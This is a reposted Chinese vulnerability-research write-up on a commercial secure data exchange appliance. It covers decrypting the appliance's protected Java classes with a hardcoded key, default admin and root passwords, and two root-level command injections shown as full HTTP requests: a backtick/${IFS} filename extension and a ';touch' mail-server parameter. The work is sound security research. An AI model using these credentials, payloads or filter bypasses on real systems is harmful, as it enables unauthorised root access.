【实战剖析】某安全数据交换系统的漏洞挖掘

admin 2023年12月2日03:47:05评论25 views字数 15845阅读52分49秒阅读模式

【实战剖析】某安全数据交换系统的漏洞挖掘



最初拿到的系统是一个vmware虚拟机,系统是Linux

基本信息:

后台管理界面用户名密码:admin/nxg@LL99

操作系统:root / bo%Fn!71、uninxg / lx$zR9ce

配置网络



根据产品安装文档环境搭建完毕后,手动设置IP地址和DNS:

手工修改 /etc/resolv.conf

1nameserver 114.114.114.114
2nameserver 8.8.8.8

修改 /etc/NetworkManager/NetworkManager.conf 文件,在main部分添加 “dns=none” 选项:

1[main]
2#plugins=ifcfg-rh
3dns=none

网络IP地址配置文件在 /etc/sysconfig/network-scripts 文件夹下:

【实战剖析】某安全数据交换系统的漏洞挖掘

我添加了两个网卡,其中一个用来供本机访问:

【实战剖析】某安全数据交换系统的漏洞挖掘

/etc/sysconfig/network-scripts/ifcfg-eth1-1

 1HWADDR=00:0C:29:4B:16:B4
2TYPE=Ethernet
3PROXY_METHOD=none
4BROWSER_ONLY=no
5BOOTPROTO=none
6IPADDR=192.168.117.100
7GATEWAY=192.168.117.2
8PREFIX=24
9DNS1=114.114.114.114
10DNS2=8.8.8.8
11DEFROUTE=yes
12IPV4_FAILURE_FATAL=no
13IPV4_DNS_PRIORITY=100
14IPV6INIT=no
15NAME=eth1
16UUID=8a47e710-cadd-49b5-b9b7-33a324c4ab66
17DEVICE=eth1
18ONBOOT=no


观察启动命令行:

1home/leagsoft/SafeDataExchange/jdk/bin/java -Dnop -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Dlog4j2.formatMsgNoLookups=true -javaagent:/home/leagsoft/SafeDataExchange/Apache/lib/jdc.jar -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0022 -Dignore.endorsed.dirs= -classpath /home/leagsoft/SafeDataExchange/Apache/bin/bootstrap.jar:/home/leagsoft/SafeDataExchange/Apache/bin/tomcat-juli.jar -Dcatalina.base=/home/leagsoft/SafeDataExchange/Apache -Dcatalina.home=/home/leagsoft/SafeDataExchange/Apache -Djava.io.tmpdir=/home/leagsoft/SafeDataExchange/Apache/temp org.apache.catalina.startup.Bootstrap start


/home/leagsoft/SafeDataExchange/Apache 是Tomcat的安装目录,webapps目录下是部署的应用源代码:

【实战剖析】某安全数据交换系统的漏洞挖掘

将war包通过ssh拷贝至本地就可以看到整个项目的源代码了。

【实战剖析】某安全数据交换系统的漏洞挖掘


源代码解密



将war包拷贝到本地通过idea打开,发现关键代码的实现都是空,连spring的控制器都是空,初步怀疑是被加密了,那么它是如何加密的呢?

【实战剖析】某安全数据交换系统的漏洞挖掘

既然网站可以正常跑起来,那么应该是运行时的某种技术手段实现,观察启动命令行:

 1/home/leagsoft/SafeDataExchange/jdk/bin/java 
2-Dnop -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager 
3-Dlog4j2.formatMsgNoLookups=true 
4-javaagent:/home/leagsoft/SafeDataExchange/Apache/lib/jdc.jar 
5-Djdk.tls.ephemeralDHKeySize=2048 
6-Djava.protocol.handler.pkgs=org.apache.catalina.webresources 
7-Dorg.apache.catalina.security.SecurityListener.UMASK=0022 
8-Dignore.endorsed.dirs= 
9-classpath     /home/leagsoft/SafeDataExchange/Apache/bin/bootstrap.jar:/home/leagsoft/SafeDataExchange/Apache/bin/tomcat-juli.jar 
10-Dcatalina.base=/home/leagsoft/SafeDataExchange/Apache -    Dcatalina.home=/home/leagsoft/SafeDataExchange/Apache 
11-Djava.io.tmpdir=/home/leagsoft/SafeDataExchange/Apache/temp org.apache.catalina.startup.Bootstrap start


命令行中有一个javaagent引起了我的注意:

1-javaagent:/home/leagsoft/SafeDataExchange/Apache/lib/jdc.jar 

将lib文件夹拷贝到项目中,观察jar包的结构:

【实战剖析】某安全数据交换系统的漏洞挖掘

看样子是调用了javassist实现了一种内存补丁技术,找到Agent的入口方法,看看它做了什么:

 1//
2// Source code recreated from a .class file by IntelliJ IDEA
3// (powered by Fernflower decompiler)
4//
5
6package com.leagsoft.declass;
7
8import java.lang.instrument.Instrumentation;
9
10public class Agent {
11   public Agent() {
12   }
13
14   public static void premain(String args, Instrumentation inst) throws Exception {
15       CoreAgent.premain(args, inst);
16   }
17}


跟进CoreAgent.premain:

 1public class CoreAgent {
2public CoreAgent({
3}
4
5public static void premain(String args, Instrumentation inst{
6    if (inst != null) {
7        File file = new File("../../Ini/ec.file");
8        Map<String, String> configMap = ECFileConfig.getConfig();
9        byte[] bytes = IoUtils.readFileToByte(file);
10        byte[] by = EncryptUtils.de(bytes, ((String)configMap.get("pf")).toCharArray(), 1);
11        AgentTransformer tran = new AgentTransformer(EncryptUtils.rsk(new String(by)).toCharArray());
12        inst.addTransformer(tran);
13    }
14
15}
16}


这里可以看到,它是先通过ECFileConfig初始化,然后解密读取Ini/ec.file

跟进ECFileConfig.getConfig():

 1public class ECFileConfig {
2    private static Map<String, String> configMap = null;
3
4    public ECFileConfig({
5    }
6
7    private static void iniConfig({
8        if (configMap == null) {
9            INIImpl ini = ECFileIni.getIni();
10            configMap = ini.getProperties("ECFile");
11        }
12    }
13
14    public static Map<String, String> getConfig({
15        iniConfig();
16        return configMap;
17    }
18}
19
20//// ECFileIni.getIni();
21
22public class ECFileIni {
23    private static String file = "../../Ini/ECFile.ini";
24    private static INIImpl self = null;
25
26    static {
27        self = init();
28    }
29
30    public ECFileIni({
31    }
32
33    private static INIImpl init({
34        String code = FileEncode.getFileEncode(file);
35        INIImpl iniFile = "asci".equals(code) ? INIUtil.getInstance(file) : INIUtil.getInstance(file, code);
36        return iniFile;
37    }
38
39    public static String getStringProperty(String section, String property{
40        String rs = self.getStringProperty(section, property);
41        return "null".equals(rs) ? null : rs;
42    }
43
44    public static INIImpl getIni({
45        return self;
46    }
47}

恰好我在服务器上找到了这个文件 ECFile.ini :

【实战剖析】某安全数据交换系统的漏洞挖掘

再看看AgentTransformer 的实现:

 1public class AgentTransformer implements ClassFileTransformer {
2    private char[] pwd;
3
4public AgentTransformer(char[] pwd) {
5    this.pwd = pwd;
6}
7
8public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain domain, byte[] classBuffer) {
9    if (className != null && domain != null && loader != null) {
10        String projectPath = domain.getCodeSource().getLocation().getPath();
11        projectPath = JarUtils.getRootPath(projectPath);
12        if (StrUtils.isEmpty(projectPath)) {
13            return classBuffer;
14        } else {
15            className = className.replace("/"".").replace("\"".");
16            byte[] bytes = JarDecryptor.getInstance().doDecrypt(projectPath, className, this.pwd);
17            return bytes != null && bytes[0] == -54 && bytes[1] == -2 && bytes[2] == -70 && bytes[3] == -66 ? bytes : classBuffer;
18        }
19    } else {
20        return classBuffer;
21    }
22}


AgentTransformer 重写了ClassFileTransformer的transform方法,将每一个class和密码放入JarDecryptor.doDecrypt进行解密,最终返回字节码。

再来看看JarDecryptor.doDecrypt的实现:

【实战剖析】某安全数据交换系统的漏洞挖掘

通过readEncryptedFile 方法读取META-INF/.classes/ 下的class文件进行解密。

回到文件目录,在META-INF下发现了许多加密的class字节码文件:

【实战剖析】某安全数据交换系统的漏洞挖掘

这里我通过编写一个类,调用JarDecryptor.doDecrypt对全部class进行了解密:

 1import com.leagsoft.declass.util.ECFileConfig;
2import com.leagsoft.declass.util.EncryptUtils;
3import com.leagsoft.declass.util.IoUtils;
4import com.leagsoft.declass.util.StrUtils;
5
6import java.io.File;
7import java.io.FileOutputStream;
8import java.util.Map;
9
10public class Main {
11    private static final String ENCRYPT_PATH = "UniEx/META-INF/.classes/";
12    private static final String DECRYPT_PATH = "UniEx-decode/UniExdecrypt/";
13
14    private static char[] getPassword(){
15    try {
16        File file = new File("UniEx/ec.file");
17        Map<String, String> configMap = ECFileConfig.getConfig();
18        byte[] bytes = IoUtils.readFileToByte(file);
19        String pf = "UniNXG-KUv1N5FQr9NtPWnK5UpJ8nnM3blCH9jYtGoXeo0bsXowOffDnW2o0DaVo41ZblSF0tNow5dPxVn8odAS9l4QxCiSvGTXhbliZF9W";
20        byte[] by = EncryptUtils.de(bytes, pf.toCharArray(), 1);
21        char password[] = EncryptUtils.rsk(new String(by)).toCharArray();
22        System.out.println(password);
23        return password;
24    } catch (Exception e) {
25        System.out.println(e);
26    }
27     return null;
28}
29
30public static void main(String[] args) throws Exception {
31    char password[] = getPassword();
32    File classFiles = new File(ENCRYPT_PATH);
33    File[] fs = classFiles.listFiles();
34    for (File classFile : fs){
35        System.out.println(classFile.getAbsolutePath());
36        File file = new File(ENCRYPT_PATH, classFile.getName());
37        byte[] bytes = IoUtils.readFileToByte(file);
38        if (bytes == null) {
39            return ;
40        } else {
41            char[] pass = StrUtils.merger(new char[][]{password, classFile.getName().toCharArray()});
42            bytes = EncryptUtils.de(bytes, pass, 1);
43            System.out.println("正在解密... " + classFile.getName());
44            try{
45                File outFile = new File(DECRYPT_PATH+ classFile.getName()+".class");
46                if (!outFile.exists()){
47                    outFile.createNewFile();
48                }
49                FileOutputStream outputStream = new FileOutputStream(outFile);
50                outputStream.write(bytes);
51            }catch (Exception e){
52            }
53        }
54    }
55}
56}


【实战剖析】某安全数据交换系统的漏洞挖掘

跑一下Main方法就能将所有的加密class字节码文件还原,大功告成。

远程调试Tomcat



修改Tomcat安装目录下bin/catalina.sh 文件,通过定义catalina的配置选项可以在tomcat启动时开启远程调试端口。

修改文件:/home/leagsoft/SafeDataExchange/Apache/bin/catalina.sh

【实战剖析】某安全数据交换系统的漏洞挖掘

加入内容:

1CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=*:9999"

然后重启tomcat就可以进行远程调试了。

【实战剖析】某安全数据交换系统的漏洞挖掘

打开idea,将原本没有方法实现的class替换为已经解密的class,添加远程调试配置:

这里我替换了:

WEB-INF/classes/com/leagsoft/nxg/dlp/controller/FileTrackMarkMessageController.class

【实战剖析】某安全数据交换系统的漏洞挖掘

添加一个调试配置,点击Edit Configurations:

【实战剖析】某安全数据交换系统的漏洞挖掘

点击添加按钮,新增一个Remote配置:

【实战剖析】某安全数据交换系统的漏洞挖掘

填入远程调试的IP地址和端口:

【实战剖析】某安全数据交换系统的漏洞挖掘

然后在要调试的方法下断点,点击调试按钮,控制台会提示已经连接到目标JVM:

【实战剖析】某安全数据交换系统的漏洞挖掘

当访问到对应的控制器,并且代码执行时,断点会生效:

【实战剖析】某安全数据交换系统的漏洞挖掘

通过观察调用栈、局部变量的值可以很方便的帮助我们进行输入输出的判断。


后台命令执行一



通过审计发现FileTrackMarkMessageController.class中的getUploadFileID 方法调用了Runtime.getRuntime().exec 可能会存在命令执行漏洞。

 1public void getUploadFileID(HttpServletRequest request, HttpServletResponse response) throws Exception {
2    List<FileItem> fileList = new ArrayList();
3    ModelAndViewUtil.getMultiParamterMap(request, fileList);
4    String separator = File.separator;
5    File detect = new File(".." + separator + ".." + separator + "Bin");
6    if (!detect.exists()) {
7        detect.mkdirs();
8    }
9
10    JObject jo = new JObject();
11    if (fileList.size() > 0) {
12        String fileID = "";
13        Iterator var8 = fileList.iterator();
14
15        while(var8.hasNext()) {
16            FileItem file = (FileItem)var8.next();
17            String simpleName = SysUtils.getSimpleName(file.getName().replaceAll("\\""/"));
18            file.write(new File(".." + separator + ".." + separator + "Bin" + separator + simpleName));
19            String postfix = simpleName.substring(simpleName.lastIndexOf(".") + 1, simpleName.length());
20            String comd = ".." + separator + ".." + separator + "Bin" + separator + "ClairDeLune printall " + """ + ".." + separator + ".." + separator + "Bin" + separator + simpleName + """ + " " + postfix;
21            Process p = null;
22            String[] command = new String[]{"/bin/sh""-c", comd};
23            p = Runtime.getRuntime().exec(command);
24
25            .......
26
27}

我们的输入点是request对象,它被传入了getMultiParamterMap方法,跟进查看:

 1public static Map<StringString> getMultiParamterMap(HttpServletRequest request, List<FileItem> fileList) throws FileUploadException {
2    Map<StringString> param = new TreeMap();
3    FileItemFactory factory = new DiskFileItemFactory();
4    ServletFileUpload upload = new ServletFileUpload(factory);
5    List items = null;
6
7    try {
8        items = upload.parseRequest(request);
9    } catch (Exception var10) {
10        LOG.error(var10.getMessage());
11    }
12
13    ......
14    return param;
15}


request 被传入了ServletFileUpload,看来是一个文件上传的数据包。

构造一个文件上传的数据包发送过去调试看看:

 1POST /UniEx/fileTrackMarkMessage/getUploadFileID.htm HTTP/1.1
2Host: 192.168.117.100
3Content-Length: 181
4Cache-Control: max-age=0
5Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96"
6Sec-Ch-Ua-Mobile: ?0
7Sec-Ch-Ua-Platform: "macOS"
8Upgrade-Insecure-Requests: 1
9Cookie: JSESSIONID=5D3B2F3A86C3F73FC8FA267D3D5603D5;
10Referer: https://192.168.49.100/UniEx/login.jsp
11Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymo440JkALdwNUIKs
12User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
13Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
14Sec-Fetch-Site: cross-site
15Sec-Fetch-Mode: navigate
16Sec-Fetch-User: ?1
17Sec-Fetch-Dest: document
18Accept-Encoding: gzip, deflate
19Accept-Language: zh-CN,zh;q=0.9
20Connection: close
21
22------WebKitFormBoundarymo440JkALdwNUIKs
23Content-Disposition: form-data; name="file"; filename="1.png"
24Content-Type: image/png
25
26123
27------WebKitFormBoundarymo440JkALdwNUIKs--


此时局部变量的值:

【实战剖析】某安全数据交换系统的漏洞挖掘

我发现文件名被带入了/bin/sh -c 意味着文件名也可以作为命令执行,由于前面有进行文件扩展名的获取解析,这个方法会取文件名的最后一个. 作为分割,把扩展名取得后拼接在最后面,最好的命令注入点是文件扩展名,最终我的payload如下:

1file.`touch${IFS}222222`


【实战剖析】某安全数据交换系统的漏洞挖掘

利用``和${IFS}替代空格 在shell中的特点,可以达到任意命令执行的目的,我还发现它的java服务是以root用户启动的,意味着获取这个命令执行的权限就是最高权限。


后台命令执行二



com.leagsoft.uex.sysparam.controller.NoticeConfigController.class 中的testNoticeEmailAction方法存在命令注入,在调用JavaShellUtil.executeCommand方法时,将用户输入带入了bash脚本后面,但LeagUtil.filterCmdParams对输入的值进行了过滤替换,不过因为参数没有放入单引号中,可以使用; 对前面的脚本进行闭合,从而绕过限制执行任意命令。

 1public void testNoticeEmailAction(HttpServletRequest request, HttpServletResponse response) throws IOException {
2        Map<StringString> emailMap = new HashMap();
3        Map<StringString[]> map = request.getParameterMap();
4        Set<Entry<StringString[]>> set = map.entrySet();
5        Iterator it = set.iterator();
6
7        while(it.hasNext()) {
8            Entry<StringString[]> entry = (Entry)it.next();
9            emailMap.put(entry.getKey(), ((String[])entry.getValue())[0]);
10       }
11
12        String random = (String)emailMap.get("random");
13        String mailPwd = RC4.RC4DecodeForJS((String)emailMap.get("mailSendPwd"), random);
14        emailMap.put("mailSendPwd", mailPwd);
15
16        try {
17            JavaShellUtil.executeCommand("/home/leagsoft/SafeDataExchange/Bin/dataex_iptables.sh " + LeagUtil.filterCmdParams((String)emailMap.get("mailServerAddr")) + " " + LeagUtil.filterCmdParams((String)emailMap.get("mailServerPort")), false);
18        log.info("excute shell command : /home/leagsoft/SafeDataExchange/Bin/dataex_iptables.sh {} {}", emailMap.get("mailServerPort"), emailMap.get("mailServerPort"));
19    } catch (IOException var13) {
20        log.error("excute /home/leagsoft/SafeDataExchange/Bin/dataex_iptables.sh error", var13);
21    }
22.....
23// LeagUtil.filterCmdParams
24
25public static String filterCmdParams(String cmdParams) {
26        if (StringUtils.isEmpty(cmdParams)) {
27            return cmdParams;
28        } else {
29            String afterParams = cmdParams.replaceAll("`""");
30            if (!StringUtils.isEmpty(afterParams) && afterParams.contains("$(")) {
31                afterParams = afterParams.replaceAll("\$""");
32           }
33
34            log.info("before cmdParams:{},after filter cmdParams:{}", cmdParams, afterParams);
35            return afterParams;
36        }
37    }


发送数据包:

 1POST /UniEx/noticeConfig/testNoticeEmailAction.htm HTTP/1.1
2Host: 192.168.117.100
3Cache-Control: max-age=0
4Cookie: JSESSIONID=F9DA84D287041E1F8E09234CAA3EAB58;
5Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96"
6Sec-Ch-Ua-Mobile: ?0
7Sec-Ch-Ua-Platform: "macOS"
8Upgrade-Insecure-Requests: 1
9Origin: null
10User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
11Referer: https://192.168.117.100/UniEx/login.jsp
12Accept:     text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
13Sec-Fetch-Site: cross-site
14Sec-Fetch-Mode: navigate
15Sec-Fetch-User: ?1
16Sec-Fetch-Dest: document
17Accept-Encoding: gzip, deflate
18Accept-Language: zh-CN,zh;q=0.9
19Connection: close
20Content-Type: application/x-www-form-urlencoded
21Content-Length: 78
22
23random=123&mailSendPwd=123&mailServerAddr=;touch%20/tmp/222&mailServerPort=123


思考


这款产品使用了javassist的动态执行技术,但是java始终还是java,我们只需要hook或者针对它最上层的代码进行研究即可,于是我根据本次漏洞挖掘,编写了一个工具:Rvn0xsy/DumperAnalyze: 通过JavaAgent与Javassist技术对JVM加载的类对象进行动态插桩,可以做一些破解、加密验证的绕过等操作 (github.com)

通过JavaAgent与Javassist技术对JVM加载的类对象进行动态插桩,可以做一些破解、加密验证的绕过等操作。


END
【实战剖析】某安全数据交换系统的漏洞挖掘


原文链接:https://payloads.online/archivers/2023/09/18/acc369fd-9310-4351-889c-457b12da9c25#48f00ccccb0a48e3a655c5ee59af0ef6

版权声明:著作权归作者所有。如有侵权请联系删除


网安训练营

网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!

【实战剖析】某安全数据交换系统的漏洞挖掘

加QQ(1005989737)找小姐姐私聊哦



精选文章


环境搭建
Python
学员专辑
信息收集
CNVD
安全求职
渗透实战
CVE
高薪揭秘
渗透测试工具
网络安全行业
神秘大礼包
基础教程
我们贴心备至
用户答疑
 QQ在线客服
加入社群
QQ+微信等着你

【实战剖析】某安全数据交换系统的漏洞挖掘


我就知道你“在看”
【实战剖析】某安全数据交换系统的漏洞挖掘


原文始发于微信公众号(开源聚合网络空间安全研究院):【实战剖析】某安全数据交换系统的漏洞挖掘

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月2日03:47:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【实战剖析】某安全数据交换系统的漏洞挖掘http://cn-sec.com/archives/2256721.html

发表评论

匿名网友 填写信息